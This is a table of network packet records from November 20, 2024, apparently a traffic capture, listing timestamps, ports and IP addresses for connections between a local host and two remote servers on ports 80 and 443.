Nov 20, 2024 14:43:14.918350935 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:14.918350935 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:14.918382883 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:14.918450117 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:14.935818911 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.935913086 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.935992956 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.936060905 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.938244104 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.938342094 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.938668966 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.938743114 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.939953089 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:14.939996004 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:14.940042973 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:14.940074921 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:14.940274000 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:14.940274000 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:14.943670988 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.943764925 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.945445061 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.945606947 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.945696115 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.945986032 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.950607061 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.950699091 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.950793982 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.950855970 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.955703020 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.955718994 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.955775976 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.955812931 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.960828066 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.960881948 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.960937977 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.961038113 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.965404987 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.965503931 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.965559006 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.965612888 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.970012903 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.970072031 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.970185041 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.970253944 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.974828005 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.974849939 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.974889994 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.974925041 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.979686022 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.979748011 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.979811907 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.979875088 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.984170914 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.984368086 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.984466076 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.984560966 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.989002943 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.989047050 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.989068985 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.989099979 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.014130116 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.014203072 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.014235973 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.014291048 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.016175032 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.016232967 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.016280890 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.016328096 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.020423889 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.020497084 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.020520926 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.020572901 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.024383068 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.024461985 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.024477005 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.024522066 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.028629065 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.028701067 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.028778076 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.028836966 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.032843113 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.032922983 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.065898895 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:15.065920115 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:15.066031933 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:15.066057920 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:15.066072941 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:15.066184044 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:15.070370913 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.070400000 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.070441008 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.070441008 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.071831942 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.071926117 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.071984053 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.074271917 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.074292898 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.074343920 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.074374914 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.077450991 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.077603102 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.077811956 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.084235907 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.084249020 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.084290981 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.084326982 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.084438086 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:15.084460974 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:15.084522963 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:15.084543943 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:15.084561110 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:15.084628105 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:15.085513115 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.085525036 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.085603952 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.085603952 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.086657047 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.086729050 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.086741924 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.086774111 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.089581013 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.089649916 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.089700937 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.089751959 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.092530966 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.092582941 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.092606068 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.092636108 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.095386028 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.095468998 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.095544100 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.095781088 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.102365971 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:15.102387905 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:15.102435112 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.102448940 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.102530956 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.102530956 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.102569103 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:15.102569103 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:15.102582932 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:15.102648973 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:15.104049921 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.104063988 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.104115009 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.116046906 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:15.116065025 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:15.116166115 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:15.116166115 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:15.116185904 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:15.116306067 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:15.129645109 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:15.129662037 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:15.129724026 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:15.129740953 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:15.129810095 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:15.129810095 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:15.141005039 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:15.141022921 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:15.141125917 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:15.141140938 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:15.141201019 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:15.143548012 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.143657923 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.143723965 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.149663925 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.149720907 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.149832010 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.149892092 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.150202036 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.150269032 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.150551081 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.150615931 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.150652885 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:15.150736094 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:15.150767088 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:15.150804996 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:15.150804996 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:15.151019096 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:15.151036024 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:15.152792931 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.152848959 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.153043985 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.153290033 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.155045033 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.155101061 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.155221939 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.155352116 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.156366110 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.156431913 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.156507969 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.156572104 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.156600952 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.159522057 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.159586906 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.159661055 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.159706116 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.161979914 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.161994934 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.162051916 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.164098978 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.164191008 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.164267063 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.164324999 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.166270018 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.166344881 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.166413069 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.166670084 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.168437004 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.168490887 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.168596983 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.168663025 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.170742035 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.170797110 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.170866013 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.171029091 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.173058033 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.173072100 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.173111916 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.173146009 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.175206900 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.175263882 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.175374985 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.175489902 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.177484035 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.177555084 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.177937984 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.177998066 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.179666042 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.179754019 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.179827929 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.179883957 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.182055950 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.182142973 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.182157040 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.182250023 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.184159040 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.184175968 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.184218884 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.184218884 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.185297966 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.185358047 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.185717106 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.185851097 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.188679934 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.188739061 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.188823938 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.189019918 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.189222097 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.189238071 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.189274073 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.189306974 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.190058947 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.190110922 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.190160990 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.190212011 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.192159891 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.192270994 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.192313910 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.192348003 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.194442987 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.194504976 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.194540024 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.194668055 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.196630001 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.196686029 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.224858999 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.224956989 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.225044966 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.226012945 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.226087093 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.226145029 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.228290081 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.228351116 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.228362083 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.228409052 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.230382919 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.230477095 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.230499983 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.230614901 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.232677937 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.232728958 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.232783079 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.232837915 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.234817028 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.234891891 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.234956980 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.235007048 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.237021923 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.237092972 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.237155914 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.237251997 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.239231110 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.239296913 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.239365101 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.239485979 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.241470098 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.241528988 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.241529942 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.241632938 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.242223024 CET	49717	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:15.242274046 CET	443	49717	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:15.242332935 CET	49717	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:15.243185043 CET	49718	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:15.243242979 CET	443	49718	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:15.243336916 CET	49718	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:15.243760109 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.243824959 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.243886948 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.243937969 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.244623899 CET	49719	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:15.244633913 CET	443	49719	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:15.244904995 CET	49719	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:15.245810032 CET	49720	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:15.245846033 CET	443	49720	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:15.245938063 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.245948076 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.245976925 CET	49720	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:15.246006966 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.246475935 CET	49720	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:15.246493101 CET	443	49720	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:15.246627092 CET	49717	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:15.246637106 CET	443	49717	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:15.246815920 CET	49719	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:15.246822119 CET	443	49719	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:15.246824026 CET	49718	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:15.246850967 CET	443	49718	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:15.247400045 CET	49721	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:15.247490883 CET	443	49721	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:15.247725964 CET	49721	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:15.247909069 CET	49721	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:15.247939110 CET	443	49721	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:15.290494919 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.290585995 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.290590048 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.290779114 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.291153908 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.291172981 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.291213989 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.291260004 CET	49715	80	192.168.2.6	185.215.113.206
